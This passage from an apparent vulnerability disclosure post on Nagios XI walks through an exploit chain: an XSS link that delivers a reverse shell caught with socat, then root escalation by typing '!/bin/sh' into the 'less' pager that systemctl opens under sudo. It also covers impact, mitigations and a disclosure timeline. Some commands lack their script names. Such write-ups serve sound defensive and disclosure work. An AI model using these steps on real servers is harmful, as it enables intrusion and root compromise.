# socat listener.
> vim xss_payloads_and_ssrf_tools/payloads/rev-shell-payload.js

# 3. Generate the Reflected XSS Payload
cd xss_payloads_and_ssrf_tools
python tools/ payloads/rev-shell-payload.js --account \
  --host http://YOUR_NAGIOS_IP > link.txt

# 4. Open a browser and surf to the link written to stdout by the previous
# script or deliver the link in whatever manner you prefer. Login in as a Nagios
# admin user if you are prompted to do so.
> firefox `cat link.txt`

# 5. Return to the socat listener, which should have a connection, then perform
# the privesc via Using TERM=linux is optional but it silences
# a warning. Note that you type `!/bin/sh' while the service status text is
# displayed to invoke the command via `less', which is runing as root.
> whoami
> export TERM=linux
> sudo /usr/local/nagiosxi/scripts/ status nagios
* nagios.service - Nagios Core 4.4.6
   Loaded: loaded (/lib/systemd/system/nagios.service; enabled; vendor preset: e
   Active: active (running) since Mon 2021-09-13 07:58:26 PDT; 1h 16min ago
  Process: 1764 ExecStart=/usr/local/nagios/bin/nagios -d /usr/local/nagios/etc/
  Process: 1761 ExecStartPre=/usr/local/nagios/bin/nagios -v /usr/local/nagios/e
 Main PID: 1765 (nagios)
    Tasks: 8 (limit: 9461)
   CGroup: /system.slice/nagios.service
           |-1765 /usr/local/nagios/bin/nagios -d /usr/local/nagios/etc/nagios.c
           |-1766 /usr/local/nagios/bin/nagios --worker /usr/local/nagios/var/rw
           |-1767 /usr/local/nagios/bin/nagios --worker /usr/local/nagios/var/rw
           |-1768 /usr/local/nagios/bin/nagios --worker /usr/local/nagios/var/rw
           |-1769 /usr/local/nagios/bin/nagios --worker /usr/local/nagios/var/rw
           |-1770 /usr/local/nagios/bin/nagios --worker /usr/local/nagios/var/rw
           |-1771 /usr/local/nagios/bin/nagios --worker /usr/local/nagios/var/rw
           `-1920 /usr/local/nagios/bin/nagios -d /usr/local/nagios/etc/nagios.c
> !/bin/sh
> whoami

By setting the IP to call back to, we can catch the interactive session with socat and then run arbitrary commands as “www-data.” Then by running “sudo /usr/local/nagiosxi/scripts/”, on some systems systemctl can be caused to invoke the system pager (in order to display text one page at a time) as root. This was tested and shown to work on Ubuntu 18.04, Ubuntu 20.04, and CentOS 8, while it did not work on CentOS 7 due to the version of systemctl. Since the default system pager is usually less, which allows users to enter an exclamation point and then run commands, we can use this script to spawn a new root shell as a remote attacker.

Figure 5: Catching a reverse shell and escalating to root

We've also made the following video, featuring Adam Nichols, the principle of application security at GRIMM, available. The video walks through the exploitation process described in this section and demonstrates the full chain successfully exploiting a Nagios server. 


The primary impact of these vulnerabilities is that attackers gain root access to one of the most useful sources of information and best launching points for lateral movement (an endpoint management server) but they could also easily gain additional access depending on configuration and how the Nagios instance is used.

The Nagios instance is a very attractive target both because of the information it contains and its role in network activity. The software contains both historical and constantly-updated information on network configuration and services on the network, which is useful to attackers in mapping out how to reach the systems that they are most interested in. In addition, once attackers gain root access, they have the ability to manipulate any of the data that is being displayed to administrators or security personnel, which could enable them to further conceal their activity. Finally, because Nagios routinely performs service checks and other adminstration tasks, moving laterally to other servers or even to endpoints will likely be considered normal and not raise suspicion.

In addition to a network monitoring tool leveraging simple scans and service checks, Nagios can also be used to run checks that require credentials, and it can deploy monitoring agents to a variety of operating systems. In the case of credential-based checks, the risk is clear and attackers can use any saved credentials or SSH keys for lateral movement. While the design of Nagios agents is to reduce the ability of an attacker to execute unauthorized commands on remote systems, there is the possibility that attackers could wait for agents to be deployed and either subvert the deployment process or save off the credentials used for deployment.


This report detailed a series of serious security vulnerabilities in the network monitoring framework Nagios. Exploiting these vulnerabilities would allow an attacker to gain access to one of the concentrated sources of information about a network, and a system which is likely to be relied upon by administrators and/or network security personnel. The idea of vulnerabilities within monitoring software or other management or information aggregation services has been popularized by the recent attacks on SolarWinds, and it is important to assess such software and consider the possibility of compromise.

Any large network should be investing in both network monitoring and endpoint protection, but security should be considered in the deployment of these solutions. The threat of attackers swimming upstream from endpoints to servers is real, but there are still strategies to reduce risk. Network segmentation and blocking traffic between expected hosts reduces the attack surface of these key servers, as does reducing the amount of shared credentials across systems.

Organizations should seek to minimize the number of software products, user accounts, and machines that possess and use elevated permissions. Beyond these proactive measures, network administrators and defenders should be familiarized with potential avenues of attack against their network as well as the signs and characteristics of such attacks. Every step taken to reduce attack surfaces and contain impact has the effect of forcing potential attackers to seek easier targets or resort to less-stealthy techniques that are detectable by alert defenders.


  • 09/13/2021 - Notified vendor

  • 09/13/2021 - Vendor acknowledged disclosure

  • 11/02/2021 - New versions of software released with patches

  • 11/02/2021 - NotQuite0DayFriday release

  • 11/02/2021 - Blog post release

GRIMM’s Private Vulnerability Disclosure (PVD) program

GRIMM’s Private Vulnerability Disclosure (PVD) program is a subscription-based vulnerability intelligence feed. This high-impact feed serves as a direct pipeline from GRIMM’s vulnerability researchers to its subscribers, facilitating the delivery of actionable intelligence on 0-day threats as they are discovered by GRIMM. We created the PVD program to allow defenders to get ahead of the curve, rather than always having to react to events outside of their control.

The goal of this program is to provide value to subscribers in the following forms:

  • Advanced notice (at least two weeks) of 0-days prior to public disclosure. This affords subscribers time to get mitigations in place before the information is publicly available.

  • In-depth, technical documentation of each vulnerability.

  • Proof of Concept (PoC) vulnerability exploitation code for:

    • Verifying specific configurations are vulnerable

    • Testing defenses to determine their effectiveness in practice

    • Training

      • Blue teams on writing robust mitigations and detections

      • Red teams on the art of exploitation

  • A list of any indicators of compromise

  • A list of actionable mitigations that can be put in place to reduce the risk associated with each vulnerability.

The research is done entirely by GRIMM, and the software and hardware selected by us is based on extensive threat modeling and our team’s deep background in reverse engineering and vulnerability research. Requests to look into specific software or hardware are welcome, however we can not guarantee the priority of such requests. In addition to publishing our research to subscribers, GRIMM also privately discloses each vulnerability to its corresponding vendor(s) in an effort to help patch the underlying issues.

If interested in getting more information about the PVD program, reach out to us.

Working with GRIMM

Want to join us and perform more analyses like this? We’re hiring. Need help finding or analyzing your bugs? Feel free to contact us.

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